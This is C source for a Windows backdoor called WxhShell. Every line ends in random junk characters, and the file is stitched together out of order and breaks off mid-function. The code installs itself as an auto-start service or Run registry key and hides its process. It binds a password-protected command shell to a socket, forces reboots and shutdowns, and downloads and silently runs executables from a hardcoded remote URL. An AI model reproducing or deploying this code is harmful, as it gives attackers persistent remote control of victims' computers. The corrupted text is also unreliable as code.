  // 关机 7A6sSfPUy  
  case 'd': { B$Z!E%a;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -*2X YTe  
    if(Boot(SHUTDOWN)) LNE[c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xTZ5q*Hqx  
    else { uSJP"Lw  
    closesocket(wsh); pAuwSn#i  
    ExitThread(0); mK-:laIL"  
    } 1 %`:8  
    break; '7R'fhiO/3  
    } <k6xScy$}  
  // 获取shell ]IV; >94[  
  case 's': { O :^[4$~  
    CmdShell(wsh); &/F[kAy  
    closesocket(wsh); qI^jwl|k  
    ExitThread(0); (^9M9+L[i  
    break; ;I'/.gW;{  
  } nL!@#{z  
  // 退出 B vc=gW  
  case 'x': { %5gJ6>@6Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -pu\p-Z  
    CloseIt(wsh); tW>R 16zq  
    break; 2A|6o*s"  
    } y9hZ2iT  
  // 离开 rg}kxvu  
  case 'q': { '4sD1LD~}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1_C6KS  
    closesocket(wsh); ]:s|.C%qI  
    WSACleanup(); [#Vr)\n  
    exit(1); auW]rwY  
    break; O$/ swwB!  
        } I+t38 un%  
  } T}[vfIJD  
  } C>dJ:.K%H  
E 5{)d~q  
  // 提示信息 Dt.Wb&V_w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / nFw  
} X)OP316yx  
  } Qu_T&  
<1BK 5%?  
  return; o7XRa]O  
} #U D  
DG?\6Zh  
// shell模块句柄 TWEqv<c  
int CmdShell(SOCKET sock) ;@ X   
{ Ue:T3jp 3%  
STARTUPINFO si; )`7+o9&  
ZeroMemory(&si,sizeof(si));  eb@Lh!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z{L;)U B^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zEfD{I  
PROCESS_INFORMATION ProcessInfo; m0\}Cc  
char cmdline[]="cmd"; vP NZFi-(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Gz>ZWF  
  return 0; ,{*fOpn  
} @I6A9do  
L0  2~FT  
// 自身启动模式 7=A9E]:  
int StartFromService(void) {Y%=/ba W  
{ F|`B2Gr  
typedef struct Ki6.'#%7  
{ NV4W2thYo  
  DWORD ExitStatus; >%dAqYi $  
  DWORD PebBaseAddress; i bs "Iv34  
  DWORD AffinityMask; $ow`)?sh  
  DWORD BasePriority; F)kLlsp  
  ULONG UniqueProcessId; <9tG_  
  ULONG InheritedFromUniqueProcessId; vXQmEIm  
}   PROCESS_BASIC_INFORMATION; 'TsZuZW]  
H)aC'M^  
PROCNTQSIP NtQueryInformationProcess; @zF:{=+]+  
-xIhN?r)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; < DZ76  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EoR6Rx@Z  
vcU\xk")  
  HANDLE             hProcess; 6XK`=ss?  
  PROCESS_BASIC_INFORMATION pbi; %P,^}h7  
4$GRCq5N;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A;a(n\Sy  
  if(NULL == hInst ) return 0; /~cL L  
Sc 3M#qm_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E(+wl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -0WCwv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); psy(]Pf  
Pt0}9Q  
  if (!NtQueryInformationProcess) return 0; (G%gVk]  
s{J!^q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KqUSTR1e[  
  if(!hProcess) return 0; @/NZ>.  
i=H>D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H6S vU  
gs8@b5 RSb  
  CloseHandle(hProcess); 9Sl|l.;!  
XfK.Fj~-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `oRs-,d|<  
if(hProcess==NULL) return 0; 8yz((?LrDh  
&|"I0|tJ  
HMODULE hMod; '!h0![OH  
char procName[255]; h]DE Cd{  
unsigned long cbNeeded; xYVjUb(,X  
D4]B>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4U;XqUY /  
Q <-%jBP  
  CloseHandle(hProcess); 64rk^Um  
seU^IC<  
if(strstr(procName,"services")) return 1; // 以服务启动 'Qq_Xn8  
SJc@iffS  
  return 0; // 注册表启动 KM(9& 1/  
} nEcd+7(  
@&xaaqQ-  
// 主模块 L0|hc  
int StartWxhshell(LPSTR lpCmdLine) c1AG3Nb  
{ z<vO#  
  SOCKET wsl; /A))"D  
BOOL val=TRUE; rjQhU%zv  
  int port=0; +ls*//R  
  struct sockaddr_in door; {r2|fgi  
#Q7x:,f  
  if(wscfg.ws_autoins) Install(); n.XhK_6n]M  
5~%,u2  
port=atoi(lpCmdLine); A1t~&?  
pvQK6r  
if(port<=0) port=wscfg.ws_port; >g"M.gW  
[gns8F#H\  
  WSADATA data; 3?Eoj95w!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $gl<{{  
$#ju?B~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SP?U@w%}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); chMc(.cN0  
  door.sin_family = AF_INET; fDEu%fUYZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }Wche/g`  
  door.sin_port = htons(port); /< 7C[^h{-  
PWN'.HQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;, v L  
closesocket(wsl); P9TBQW2G{  
return 1; ^0tf1pV2  
} O:^LQ  
zPh\3B  
  if(listen(wsl,2) == INVALID_SOCKET) { 5H :~6z  
closesocket(wsl); =_m9so  
return 1; `=}UFu  
} :{ WrS  
  Wxhshell(wsl); 'bI~61{A  
  WSACleanup(); } B9~X  
P&%eIgAOL  
return 0; " $IXZ  
=i^<a7M~  
} 4,F3@m:<  
Cq*}b4^;  
// 以NT服务方式启动 ^*x Hy`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M|({ 4C  
{ %w8GGm8^/  
DWORD   status = 0; _:Jp*z  
  DWORD   specificError = 0xfffffff; oS#'u 1k  
{pb9UUP2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H&=n:'k^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sL AuR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :EmQ_?(^  
  serviceStatus.dwWin32ExitCode     = 0; ;64mf`  
  serviceStatus.dwServiceSpecificExitCode = 0; 4]aiT8))  
  serviceStatus.dwCheckPoint       = 0; 0 oj{e9h  
  serviceStatus.dwWaitHint       = 0; }\u%)uZ  
'LbeL1ca  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8hKP  
  if (hServiceStatusHandle==0) return; 6snOMa GRu  
;w6fM  
status = GetLastError(); Gl8&FrR  
  if (status!=NO_ERROR) O%JsUKV  
{ 3 IWLBc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '-PMF~~S  
    serviceStatus.dwCheckPoint       = 0;  Vp] D  
    serviceStatus.dwWaitHint       = 0; "rx^M*"  
    serviceStatus.dwWin32ExitCode     = status; ^K.u ~p   
    serviceStatus.dwServiceSpecificExitCode = specificError; phgexAq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6vgBqn[  
    return; 5`E`Kb+@  
  } '{0[&i*  
 &(1H!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a%T -Z.rd  
  serviceStatus.dwCheckPoint       = 0; gM3]%L_  
  serviceStatus.dwWaitHint       = 0; /$9BPjO{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %/y`<lJz(  
} Z6^QB@moj  
:/v,r=Y9p  
// 处理NT服务事件,比如:启动、停止 cZgMA8 F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n|x$vgb  
{ 7k] RO  
switch(fdwControl) l 70,Jo?78  
{ 2<'`^AO@  
case SERVICE_CONTROL_STOP: e`Co,>W/  
  serviceStatus.dwWin32ExitCode = 0; ?jri!]ux#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -*|:v67C&  
  serviceStatus.dwCheckPoint   = 0; /BMtcCPG!  
  serviceStatus.dwWaitHint     = 0; ms}f>f=  
  { `s`C{|wv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /}w#Jk4pD  
  } y7JZKtsFA  
  return; WgA`kT  
case SERVICE_CONTROL_PAUSE: ^Ue0mC7m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H\fcY p6  
  break; Sk/#J!T8{  
case SERVICE_CONTROL_CONTINUE: w{3Q( =&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @8=vFP'  
  break; ,M) k7t:  
case SERVICE_CONTROL_INTERROGATE: _\dt?(m|  
  break; IX<r5!  
}; $T?*0"Mj[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g/8.W  
} )RwBg8  
?0rOcaTY  
// 标准应用程序主函数 v<;: 0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E &7@#'l  
{  c6Lif)4  
Q !9HA[Ly  
// 获取操作系统版本 'lhP!E_)q  
OsIsNt=GetOsVer(); M[aT2A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7L=T]W  
Ys-Keyg  
  // 从命令行安装 >1x7UXs~:  
  if(strpbrk(lpCmdLine,"iI")) Install(); )Fqy%uR8  
q*6q}s3n  
  // 下载执行文件 JbE?a[Eg?  
if(wscfg.ws_downexe) { E-~mOYea  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iOT)0@f'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9W*.lf  
} V43nws "4  
3{<R5wUo"  
if(!OsIsNt) { E'5Ajtw;  
// 如果时win9x,隐藏进程并且设置为注册表启动 +w"_$Tj@;  
HideProc(); *Ph]F$ZP  
StartWxhshell(lpCmdLine); dG&2,n'f  
} "~u_\STn <  
else -uWKY6 :5  
  if(StartFromService()) T8n-u b<  
  // 以服务方式启动 24|  
  StartServiceCtrlDispatcher(DispatchTable); TH|?X0b  
else N-[n\}'  
  // 普通方式启动 fNkuX-om  
  StartWxhshell(lpCmdLine); C"6 Amnj  
L@w0N)P<!{  
return 0; )`w=qCn1Y  
} q0&Wk"X%rr  
<rNtY,  
ht?CH Uu  
I-xwJi9?,  
=========================================== : *ERRSL)  
D" L|"qJ  
cV-i*L4X  
$`|5/,M%QN  
n`]l^qE  
81Z4>F:  
" ?>sQF4 V"  
{  |s/]W  
#include <stdio.h> MDk*j,5V  
#include <string.h> +%P t_  
#include <windows.h> Vo%Yf9C  
#include <winsock2.h> *|mz_cKu  
#include <winsvc.h> wG+=}1X  
#include <urlmon.h> o]A XT8  
yI8 SQ$w0y  
#pragma comment (lib, "Ws2_32.lib") =f>HiF  
#pragma comment (lib, "urlmon.lib") B={/nC}G~  
[4p=X=B  
#define MAX_USER   100 // 最大客户端连接数 (Akd8}nf~  
#define BUF_SOCK   200 // sock buffer `)6>nPr7P  
#define KEY_BUFF   255 // 输入 buffer ?cJY B)  
~z5@V5 z  
#define REBOOT     0   // 重启 F) ?o,  
#define SHUTDOWN   1   // 关机 \/!ZA[D|E\  
<yZP|_  
#define DEF_PORT   5000 // 监听端口 2B^~/T<\  
R*087X7 N|  
#define REG_LEN     16   // 注册表键长度 8x9Rm  
#define SVC_LEN     80   // NT服务名长度 4IZlUJ?j+c  
O}QFq14<+  
// 从dll定义API +P|2m"UA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vv &BhIf3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1]j^d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); > @+#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X(]Zr  
[B,'=,Hbs  
// wxhshell配置信息 %swR:Bv  
struct WSCFG { <s_=-" il  
  int ws_port;         // 监听端口 ?4 qkDtm  
  char ws_passstr[REG_LEN]; // 口令 BEWro|]cM  
  int ws_autoins;       // 安装标记, 1=yes 0=no -ui< E?v  
  char ws_regname[REG_LEN]; // 注册表键名 z>G;(F2  
  char ws_svcname[REG_LEN]; // 服务名 &'s^nn]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8V-,Xig;`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [Eu];  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9x? B5Ap[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n+HsQ]z.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X8b|]Nr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [SkKz>rC  
D{cZxI  
}; >Q=Ukn;k  
d8E,o7$m  
// default Wxhshell configuration |g<*Rk0  
struct WSCFG wscfg={DEF_PORT, i ?;R}%~  
    "xuhuanlingzhe", ?g3 ]~;#  
    1, U'y,YtF@  
    "Wxhshell", `XW*kxpm  
    "Wxhshell", KXf<$\+zO  
            "WxhShell Service", ^O)ve^P  
    "Wrsky Windows CmdShell Service", tiYOMA  
    "Please Input Your Password: ", vZu~LW@1  
  1, g6%Z)5D]!  
  "http://www.wrsky.com/wxhshell.exe", QL97WK\$  
  "Wxhshell.exe" h%TLD[[/jr  
    }; *tc{vtuu~^  
%v{1# ~u  
// 消息定义模块 ,."b3wR[w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F\:(*1C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,3HcCuT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R{?vQsLk  
char *msg_ws_ext="\n\rExit."; jJBnDxsA  
char *msg_ws_end="\n\rQuit."; ?gSSli[  
char *msg_ws_boot="\n\rReboot..."; R^%e1 KO]  
char *msg_ws_poff="\n\rShutdown..."; &Jy)U  
char *msg_ws_down="\n\rSave to "; [ ]^X`R  
FRZs[\I|iT  
char *msg_ws_err="\n\rErr!"; O4L#jBa+  
char *msg_ws_ok="\n\rOK!"; {U"^UuU]  
]Bnwk o  
char ExeFile[MAX_PATH]; %WGuy@tL  
int nUser = 0; ZCYS\E 7X  
HANDLE handles[MAX_USER]; O> c$sL0g  
int OsIsNt; $*\L4<(  
c2*`2qK#  
SERVICE_STATUS       serviceStatus; 7LCp7$Cp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]6&$|2H?Ni  
;:mu}  
// 函数声明 !VP %v&jKm  
int Install(void); !tXZ%BP.u  
int Uninstall(void); _<zfQZai  
int DownloadFile(char *sURL, SOCKET wsh); L9FHgl?  
int Boot(int flag); 8;8c"'Mn  
void HideProc(void); q'G,!];qL  
int GetOsVer(void); k1='c7s  
int Wxhshell(SOCKET wsl); Y]N,.pv=  
void TalkWithClient(void *cs); 33K*qaRAD  
int CmdShell(SOCKET sock); +}@ 8p[`)  
int StartFromService(void); = 96P7#%  
int StartWxhshell(LPSTR lpCmdLine); i ev>9j  
Bs8[+Ft5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y3eHF^K+$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KrcgIB8X  
A6{b?aQ  
// 数据结构和表定义 B$vr'U   
SERVICE_TABLE_ENTRY DispatchTable[] = LA%bq_> f  
{ VK:8 Nk_y  
{wscfg.ws_svcname, NTServiceMain}, --fFpM3EvS  
{NULL, NULL} &(blN.2  
}; bMKL1+y(  
+ G;LX'B  
// 自我安装 >&S0#>wmyG  
int Install(void) aWy]9F&C:  
{ wX,F`e3"/  
  char svExeFile[MAX_PATH]; ;%Hf)F  
  HKEY key; 'dJ/RJ~  
  strcpy(svExeFile,ExeFile); G7@ O`N8'  
wRtZ `o  
// 如果是win9x系统,修改注册表设为自启动 3y A2WW  
if(!OsIsNt) { ,v9f~qh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <>Y?v C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &dR=?bz-A  
  RegCloseKey(key); bAwl:l\`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @=Fi7M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %o w^dzW  
  RegCloseKey(key); 8VQ 24r  
  return 0; x\\~SGd  
    } ycAKK?O*  
  } )ev<7g9*q  
} )]43R   
else { g(ogXA1  
v [njdP  
// 如果是NT以上系统,安装为系统服务 e]Fp=*#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sr_VL:Gg  
if (schSCManager!=0) }{[mrG   
{ 7KjUW\mN2Z  
  SC_HANDLE schService = CreateService hBU\'.x  
  ( > \Sr{p5KR  
  schSCManager, 0N:XIGFa  
  wscfg.ws_svcname, ]; Wx  
  wscfg.ws_svcdisp, 58V[mlW)O0  
  SERVICE_ALL_ACCESS, nBItO~l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XORk!m|  
  SERVICE_AUTO_START, 51B lM%  
  SERVICE_ERROR_NORMAL, >[10H8~bI/  
  svExeFile, *|#T8t,}n  
  NULL, G?c-79]U  
  NULL, GV.A+u  
  NULL, I97yt[,Yy  
  NULL, <Fz~7WVd  
  NULL (C;I*cv  
  ); HQP}w%8x  
  if (schService!=0)  vZj`|  
  { h"+ `13  
  CloseServiceHandle(schService); MV>$BW  
  CloseServiceHandle(schSCManager); ]3iH[,KU3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1O/ g&u  
  strcat(svExeFile,wscfg.ws_svcname); t.Nb? /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %?Y[Bk3p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PU<PhuMd  
  RegCloseKey(key); Z{6kWA3Kk  
  return 0; 'x"08v$  
    } !h[VUg_8  
  } &opd2  
  CloseServiceHandle(schSCManager); n(seNp%_  
} c]-*P7W  
} ]b/S6oc6  
m!tx(XsXU  
return 1; Z3TS,a1I4  
} !p/%lU65  
8;14Q7,S  
// 自我卸载 Z4hrn::  
int Uninstall(void) 2d>hi32I  
{ tCG76LH  
  HKEY key; v"& pQ  
a|7a_s4(  
if(!OsIsNt) { 1BHG'y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y !$alE  
  RegDeleteValue(key,wscfg.ws_regname); }~K`/kvs  
  RegCloseKey(key); u+H ; @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !TM*o+;  
  RegDeleteValue(key,wscfg.ws_regname); =3ioQZ^Vz  
  RegCloseKey(key); _5 ^I.5Z3  
  return 0; 'B5^P  
  } ?S$i?\Qh  
} l:#-d.z#  
} XQ%4L-rhN  
else { YKmsQ(q`N  
azQD>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ev1 W6B-a  
if (schSCManager!=0) 8mTM$#\  
{ l5xCz=dw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s~I6SA&i  
  if (schService!=0) bHLT}x/Gw  
  { G;NF5`*4mc  
  if(DeleteService(schService)!=0) { dovZ#D@Q  
  CloseServiceHandle(schService); gKLyL]kAGz  
  CloseServiceHandle(schSCManager); NA3 \  
  return 0; osARA3\Xt  
  } tZ`Ts}\e  
  CloseServiceHandle(schService); L(T12s  
  } <JMcIV837  
  CloseServiceHandle(schSCManager); 7 >iU1zy  
} g V5zSudW  
} D8&`R  
,Ys"W x  
return 1; 3pf[M{dG  
} O,aS`u &  
2{-ZD ,(u7  
// 从指定url下载文件 Z6\+  
int DownloadFile(char *sURL, SOCKET wsh) Twn4lG4~  
{ 8UC xn f#  
  HRESULT hr; )-*5v D  
char seps[]= "/"; \^I>Q _LU  
char *token; q9w~A-Oh`1  
char *file; RrU BpqA  
char myURL[MAX_PATH]; bVP"(H]  
char myFILE[MAX_PATH]; STZPYeXE  
s,#>m*Rh  
strcpy(myURL,sURL); ;%tF58&  
  token=strtok(myURL,seps); +)zOer,  
  while(token!=NULL) `.s({/|[  
  { ARcB'z\r  
    file=token; ;XM{o:1Y[  
  token=strtok(NULL,seps); F}Vr:~  
  } 2'=T[<nNB  
Z{&cuo.@<]  
GetCurrentDirectory(MAX_PATH,myFILE); s0Z uWVip  
strcat(myFILE, "\\"); 24 1*!  
strcat(myFILE, file); @(r /dZc  
  send(wsh,myFILE,strlen(myFILE),0);  hI9  
send(wsh,"...",3,0); __mF ?m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (/35p g6\  
  if(hr==S_OK) @gY)8xMbA  
return 0;  V#VN %{  
else UAoh`6vFF8  
return 1; ca+5=+X7  
KYzv$oK  
} F:x [  
h=;{oY<V)?  
// 系统电源模块 w$JvB5O  
int Boot(int flag) Eke5Nb  
{ |:8bNm5[  
  HANDLE hToken; 6@DF  
  TOKEN_PRIVILEGES tkp; J:V?EE,\-  
Sa2>`":d  
  if(OsIsNt) { B)d(TP,>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pz"0J_xDM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bygx]RC[  
    tkp.PrivilegeCount = 1; <&C]s b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p K0"%eA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O/[cpRe  
if(flag==REBOOT) { &b:1I 7Cp*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9B;{]c  
  return 0; lg^Z*&(  
} 7uzk p&+:  
else { 9a8cRt6knO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wI(M^8F_Mf  
  return 0; 6}r`/?"A1  
} iLSr*` o  
  } (o`{uj{!  
  else { 6j ~#[  
if(flag==REBOOT) { 21"1NJzP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GSH>7!.#  
  return 0; SL5Ai/X0N  
} !qG7V:6  
else { j]`PSl+w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jv^h\~*jH  
  return 0; O%bEB g  
} vN;mP d~g  
} EFz&N\2  
4EY)!?;  
return 1; !KUi\yQ1  
} #\=FO>  
% >=!p  
// win9x进程隐藏模块 !r<pmr3f@7  
void HideProc(void) 4<BjC[@~Z{  
{ E>K!Vrh-L  
z<Nfm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zu7)gf  
  if ( hKernel != NULL ) kGl~GOB a  
  { .[_L=_.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lnjXD oVb<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5 sX+~Q  
    FreeLibrary(hKernel); vam;4vyu  
  } 5aCgjA11  
$` ""  
return; Hl,W=2N  
} *WuID2cOI  
%KLpig  
// 获取操作系统版本 #{;k{~;PF  
int GetOsVer(void) FYpzQ6s~  
{ x7Yu I  
  OSVERSIONINFO winfo; V-BiF>+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j:v@pzTD  
  GetVersionEx(&winfo); fb~ytl<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HAa; hb  
  return 1; yU*8|FQbP  
  else YuO.yh_  
  return 0; tS6qWtE  
} \2h!aRWR  
M!o##* *`  
// 客户端句柄模块 a^I\ /&aw'  
int Wxhshell(SOCKET wsl) LcTP #  
{ #"G]ke1l$  
  SOCKET wsh; ,0!}7;j_c  
  struct sockaddr_in client; {N+$Q'  
  DWORD myID; GB=X5<;  
#AJM6* G9  
  while(nUser<MAX_USER) @J/K-.r  
{ koug[5T5  
  int nSize=sizeof(client); "]} bFO7C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dl.p\t(1  
  if(wsh==INVALID_SOCKET) return 1; 3ca (i/c  
%WjXg:R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1n;0?MIZ  
if(handles[nUser]==0) ?82xdp g  
  closesocket(wsh);  R[D{|K@"  
else |IzPgC  
  nUser++; FOE4>zE  
  } ;@oN s-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YIG~MP  
xqu}cz  
  return 0; K  &N  
} (5-FVp fb  
3EPv"f^V  
// 关闭 socket ]>5/PD,wWy  
void CloseIt(SOCKET wsh) sYI-5D]  
{ H&-zZc4\  
closesocket(wsh); &i6),{QN  
nUser--; u7>],<  
ExitThread(0); ?67Y-\}  
} yb\_zE\  
n-tgX?1'  
// 客户端请求句柄 VA#"r!1  
void TalkWithClient(void *cs) Pd_U7&w,5  
{ 8}O lL,fP  
at,XB.}Z]  
  SOCKET wsh=(SOCKET)cs; 4O^xY 6m  
  char pwd[SVC_LEN]; 8;JWK3Gv  
  char cmd[KEY_BUFF]; qm/22:&v5  
char chr[1]; hcsP2 0s  
int i,j; *`5.|{<j{  
A P?R"%  
  while (nUser < MAX_USER) { D2Kp|F;  
tEvut=k'  
if(wscfg.ws_passstr) { *0Skd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vApIHI?-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G[uK-U  
  //ZeroMemory(pwd,KEY_BUFF); "#2a8#  
      i=0; nFHUy9q  
  while(i<SVC_LEN) { ^ B fC  
)q8pk2  
  // 设置超时 K0|FY=#2y  
  fd_set FdRead; 2*laAB  
  struct timeval TimeOut; #A JDWelD  
  FD_ZERO(&FdRead); 3u+T~g0^  
  FD_SET(wsh,&FdRead); U:0mp"  
  TimeOut.tv_sec=8; V^bwXr4f  
  TimeOut.tv_usec=0; 6 ob@[ @  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p>v$FiV2N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nk? ^1n$  
g}k`o!q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y!w`YYKP  
  pwd=chr[0]; z!ZtzD]cb  
  if(chr[0]==0xd || chr[0]==0xa) { h+g_rvIG*  
  pwd=0; /NI;P]s.  
  break; y.mda:$~=  
  } Z&+ g;(g  
  i++; /[ 5gX^A  
    } On9A U:\  
6*78cg Io  
  // 如果是非法用户,关闭 socket FXG]LoP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "c%0P"u  
} FrfM3x6UM  
gwuI-d^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d;Ym=YHJtn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :^6y7&o[  
*K8$eDNZ  
while(1) { U)] oO  
/K@XzwM  
  ZeroMemory(cmd,KEY_BUFF); ;PF<y9M  
&R'c.  
      // 自动支持客户端 telnet标准   aFX=C >M  
  j=0; 7W Ly:E"  
  while(j<KEY_BUFF) { uP)'FI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BUDi& |,  
  cmd[j]=chr[0]; *5C7d*'  
  if(chr[0]==0xa || chr[0]==0xd) { g[' ^L +hd  
  cmd[j]=0; WUn]F~Lt  
  break; vxBgGl  
  } e:DCej^z  
  j++; oM>l#><nq  
    } ~ D j8 z+^  
oGnSPI5KGC  
  // 下载文件 w e//|fA<  
  if(strstr(cmd,"http://")) { cJ= 6r :  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cKca;SNql1  
  if(DownloadFile(cmd,wsh)) r,73C/*&/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A4x]Qh3OO  
  else t%0VJB,Q2  
